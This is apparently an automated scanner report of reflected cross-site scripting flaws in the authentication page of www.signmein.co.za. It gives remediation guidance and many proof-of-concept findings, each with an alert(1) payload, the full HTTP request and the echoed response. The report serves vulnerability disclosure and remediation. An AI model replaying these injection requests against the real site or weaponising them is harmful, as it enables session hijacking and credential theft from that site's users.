Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the lg request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4f24"><script>alert(1)</script>f466848d753 was submitted in the lg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=ec4f24"><script>alert(1)</script>f466848d753 HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:38:19 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:38:19 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18188
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <a href="registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=ec4f24"><script>alert(1)</script>f466848d753"> ...[SNIP]...
The value of the lg request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db834'-alert(1)-'8d9eb2e4227 was submitted in the lg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=edb834'-alert(1)-'8d9eb2e4227 HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:38:28 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:38:28 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18114
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... istration() { window.location.href = '/registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=edb834'-alert(1)-'8d9eb2e4227' }
function setEmailFocus() { document.getElementById("m_emailAddress").focus(); } </script> ...[SNIP]...
1.3. http://www.signmein.co.za/authentication.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.signmein.co.za
Path:
/authentication.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30331'-alert(1)-'6d1ca7d918c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e&30331'-alert(1)-'6d1ca7d918c=1 HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:38:41 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:38:41 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18130
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... stration() { window.location.href = '/registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e&30331'-alert(1)-'6d1ca7d918c=1' }
function setEmailFocus() { document.getElementById("m_emailAddress").focus(); } </script> ...[SNIP]...
1.4. http://www.signmein.co.za/authentication.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.signmein.co.za
Path:
/authentication.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b604a"><script>alert(1)</script>5bac39195cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e&b604a"><script>alert(1)</script>5bac39195cb=1 HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:38:32 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:38:32 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18204
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <a href="registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e&b604a"><script>alert(1)</script>5bac39195cb=1"> ...[SNIP]...
The value of the sa request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dc35c'-alert(1)-'2147f2a7820 was submitted in the sa parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000dc35c'-alert(1)-'2147f2a7820&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:37:48 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:37:48 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18114
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <script language="javascript"> function do_registration() { window.location.href = '/registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000dc35c'-alert(1)-'2147f2a7820&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e' }
function setEmailFocus() { document.getElementById("m_emailAddress").focus(); } </script> ...[SNIP]...
The value of the sa request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 331d6"><script>alert(1)</script>5adc042e30 was submitted in the sa parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000331d6"><script>alert(1)</script>5adc042e30&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:37:39 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:37:39 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18184
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <a href="registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000331d6"><script>alert(1)</script>5adc042e30&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e"> ...[SNIP]...
The value of the sn request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b56c0"><script>alert(1)</script>f7510cf5b42 was submitted in the sn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Globalb56c0"><script>alert(1)</script>f7510cf5b42&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:37:25 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:37:25 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18188
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <a href="registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Globalb56c0"><script>alert(1)</script>f7510cf5b42&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e"> ...[SNIP]...
The value of the sn request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 62719'-alert(1)-'7db3ab8f378 was submitted in the sn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global62719'-alert(1)-'7db3ab8f378&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:37:34 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:37:34 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18114
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <script language="javascript"> function do_registration() { window.location.href = '/registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global62719'-alert(1)-'7db3ab8f378&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e' }
function setEmailFocus() { document.getElementById("m_emailAddress").focus(); } </script> ...[SNIP]...
The value of the ssect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4edf'-alert(1)-'7e3cc7c8773 was submitted in the ssect parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=Alla4edf'-alert(1)-'7e3cc7c8773&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:38:14 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:38:14 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18114
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... o_registration() { window.location.href = '/registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=Alla4edf'-alert(1)-'7e3cc7c8773&lg=e' }
function setEmailFocus() { document.getElementById("m_emailAddress").focus(); } </script> ...[SNIP]...
The value of the ssect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29ece"><script>alert(1)</script>00a7efbc7bf was submitted in the ssect parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All29ece"><script>alert(1)</script>00a7efbc7bf&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:38:05 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:38:05 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18188
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <a href="registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All29ece"><script>alert(1)</script>00a7efbc7bf&lg=e"> ...[SNIP]...
The value of the surl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5ce9'-alert(1)-'5fe2f0631df was submitted in the surl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspxb5ce9'-alert(1)-'5fe2f0631df&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:38:01 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:38:01 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18114
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... function do_registration() { window.location.href = '/registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspxb5ce9'-alert(1)-'5fe2f0631df&ssect=All&lg=e' }
function setEmailFocus() { document.getElementById("m_emailAddress").focus(); } </script> ...[SNIP]...
The value of the surl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4a18"><script>alert(1)</script>09beaca0e21 was submitted in the surl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspxe4a18"><script>alert(1)</script>09beaca0e21&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:37:53 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:37:53 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18188
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <a href="registration.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspxe4a18"><script>alert(1)</script>09beaca0e21&ssect=All&lg=e"> ...[SNIP]...
The value of the turl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4eed"><script>alert(1)</script>4295a04a615 was submitted in the turl parameter. This input was echoed unmodified in the application's response.
